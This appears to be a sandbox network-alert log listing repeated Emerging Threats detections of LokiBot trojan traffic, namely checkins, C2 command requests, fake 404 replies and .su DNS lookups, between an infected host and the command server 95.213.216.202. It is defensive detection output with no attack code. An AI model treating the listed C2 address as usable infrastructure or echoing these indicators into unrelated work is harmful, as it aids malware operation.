ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249752802021641 11/30/22-00:55:49.378987
SID:	2021641
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249703802021641 11/30/22-00:54:16.960834
SID:	2021641
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249712802024313 11/30/22-00:54:35.972913
SID:	2024313
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249727802825766 11/30/22-00:55:03.486766
SID:	2825766
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249717802025381 11/30/22-00:54:45.540558
SID:	2025381
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.859581532014169 11/30/22-00:55:17.784201
SID:	2014169
Source Port:	59581
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249712802024318 11/30/22-00:54:35.972913
SID:	2024318
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497312025483 11/30/22-00:55:12.166821
SID:	2025483
Source Port:	80
Destination Port:	49731
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249739802024313 11/30/22-00:55:25.267085
SID:	2024313
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249725802025381 11/30/22-00:54:59.930841
SID:	2025381
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.849166532014169 11/30/22-00:55:40.126118
SID:	2014169
Source Port:	49166
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.860749532014169 11/30/22-00:54:58.103973
SID:	2014169
Source Port:	60749
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497052025483 11/30/22-00:54:21.783216
SID:	2025483
Source Port:	80
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.853975532014169 11/30/22-00:54:22.160619
SID:	2014169
Source Port:	53975
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249753802025381 11/30/22-00:55:51.242717
SID:	2025381
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249757802021641 11/30/22-00:55:58.948901
SID:	2021641
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249716802021641 11/30/22-00:54:43.829219
SID:	2021641
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249739802024318 11/30/22-00:55:25.267085
SID:	2024318
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249741802825766 11/30/22-00:55:29.247109
SID:	2825766
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249700802825766 11/30/22-00:54:09.487691
SID:	2825766
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249720802024313 11/30/22-00:54:51.608521
SID:	2024313
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249708802024318 11/30/22-00:54:26.803652
SID:	2024318
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497482025483 11/30/22-00:55:43.661913
SID:	2025483
Source Port:	80
Destination Port:	49748
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249731802825766 11/30/22-00:55:10.632751
SID:	2825766
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249702802024313 11/30/22-00:54:14.871390
SID:	2024313
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249720802024318 11/30/22-00:54:51.608521
SID:	2024318
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249737802825766 11/30/22-00:55:21.614296
SID:	2825766
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249702802024318 11/30/22-00:54:14.871390
SID:	2024318
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249719802825766 11/30/22-00:54:49.641508
SID:	2825766
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.863446532014169 11/30/22-00:55:43.898414
SID:	2014169
Source Port:	63446
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497092025483 11/30/22-00:54:30.691043
SID:	2025483
Source Port:	80
Destination Port:	49709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497432025483 11/30/22-00:55:34.122250
SID:	2025483
Source Port:	80
Destination Port:	49743
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249708802024313 11/30/22-00:54:26.803652
SID:	2024313
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.858119532014169 11/30/22-00:55:38.197046
SID:	2014169
Source Port:	58119
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.857990532014169 11/30/22-00:54:11.706174
SID:	2014169
Source Port:	57990
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249759802024318 11/30/22-00:56:01.042444
SID:	2024318
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249709802825766 11/30/22-00:54:29.164231
SID:	2825766
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249730802024313 11/30/22-00:55:08.823725
SID:	2024313
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249745802025381 11/30/22-00:55:36.377571
SID:	2025381
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249724802021641 11/30/22-00:54:58.184483
SID:	2021641
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249759802024313 11/30/22-00:56:01.042444
SID:	2024313
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249703802825766 11/30/22-00:54:16.960834
SID:	2825766
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249704802025381 11/30/22-00:54:18.966132
SID:	2025381
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497152025483 11/30/22-00:54:43.541337
SID:	2025483
Source Port:	80
Destination Port:	49715
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249730802024318 11/30/22-00:55:08.823725
SID:	2024318
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249718802024318 11/30/22-00:54:47.592007
SID:	2024318
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.864121532014169 11/30/22-00:55:57.444180
SID:	2014169
Source Port:	64121
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249719802021641 11/30/22-00:54:49.641508
SID:	2021641
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249721802825766 11/30/22-00:54:53.572062
SID:	2825766
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497042025483 11/30/22-00:54:19.714505
SID:	2025483
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249747802021641 11/30/22-00:55:40.214633
SID:	2021641
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.849874532014169 11/30/22-00:55:45.675021
SID:	2014169
Source Port:	49874
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249722802025381 11/30/22-00:54:54.732179
SID:	2025381
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249718802024313 11/30/22-00:54:47.592007
SID:	2024313
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.853428532014169 11/30/22-00:55:25.189214
SID:	2014169
Source Port:	53428
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249736802024318 11/30/22-00:55:19.643476
SID:	2024318
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249736802024313 11/30/22-00:55:19.643476
SID:	2024313
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249732802025381 11/30/22-00:55:12.457821
SID:	2025381
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497592025483 11/30/22-00:56:01.793951
SID:	2025483
Source Port:	80
Destination Port:	49759
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249746802024318 11/30/22-00:55:38.275174
SID:	2024318
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249749802024318 11/30/22-00:55:43.976237
SID:	2024318
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249737802021641 11/30/22-00:55:21.614296
SID:	2021641
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249746802024313 11/30/22-00:55:38.275174
SID:	2024313
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497542025483 11/30/22-00:55:55.161061
SID:	2025483
Source Port:	80
Destination Port:	49754
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249735802025381 11/30/22-00:55:17.863854
SID:	2025381
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249706802021641 11/30/22-00:54:22.484255
SID:	2021641
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249734802021641 11/30/22-00:55:16.065951
SID:	2021641
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249699802825766 11/30/22-00:54:07.324934
SID:	2825766
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497322025483 11/30/22-00:55:13.950022
SID:	2025483
Source Port:	80
Destination Port:	49732
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497372025483 11/30/22-00:55:23.147009
SID:	2025483
Source Port:	80
Destination Port:	49737
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249749802024313 11/30/22-00:55:43.976237
SID:	2024313
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249748802025381 11/30/22-00:55:42.098367
SID:	2025381
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497212025483 11/30/22-00:54:54.418787
SID:	2025483
Source Port:	80
Destination Port:	49721
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497102025483 11/30/22-00:54:33.459515
SID:	2025483
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249733802024313 11/30/22-00:55:14.244291
SID:	2024313
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249707802025381 11/30/22-00:54:24.716724
SID:	2025381
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249733802024318 11/30/22-00:55:14.244291
SID:	2024318
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.851139532014169 11/30/22-00:54:24.370686
SID:	2014169
Source Port:	51139
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249721802021641 11/30/22-00:54:53.572062
SID:	2021641
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249747802825766 11/30/22-00:55:40.214633
SID:	2825766
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249706802825766 11/30/22-00:54:22.484255
SID:	2825766
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249709802021641 11/30/22-00:54:29.164231
SID:	2021641
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.855638532014169 11/30/22-00:54:39.891168
SID:	2014169
Source Port:	55638
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.853466532014169 11/30/22-00:55:06.970990
SID:	2014169
Source Port:	53466
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249717802021641 11/30/22-00:54:45.540558
SID:	2021641
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.864823532014169 11/30/22-00:55:34.318234
SID:	2014169
Source Port:	64823
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249706802025381 11/30/22-00:54:22.484255
SID:	2025381
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249716802825766 11/30/22-00:54:43.829219
SID:	2825766
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249720802021641 11/30/22-00:54:51.608521
SID:	2021641
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.865017532014169 11/30/22-00:55:05.186135
SID:	2014169
Source Port:	65017
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249734802025381 11/30/22-00:55:16.065951
SID:	2025381
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249723802024318 11/30/22-00:54:56.463103
SID:	2024318
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.864602532014169 11/30/22-00:55:53.393350
SID:	2014169
Source Port:	64602
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497252025483 11/30/22-00:55:01.390776
SID:	2025483
Source Port:	80
Destination Port:	49725
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497292025483 11/30/22-00:55:08.539654
SID:	2025483
Source Port:	80
Destination Port:	49729
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249723802024313 11/30/22-00:54:56.463103
SID:	2024313
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.853848532014169 11/30/22-00:54:49.539403
SID:	2014169
Source Port:	53848
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249744802825766 11/30/22-00:55:34.401351
SID:	2825766
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.865107532014169 11/30/22-00:54:47.470066
SID:	2014169
Source Port:	65107
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249739802025381 11/30/22-00:55:25.267085
SID:	2025381
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249712802021641 11/30/22-00:54:35.972913
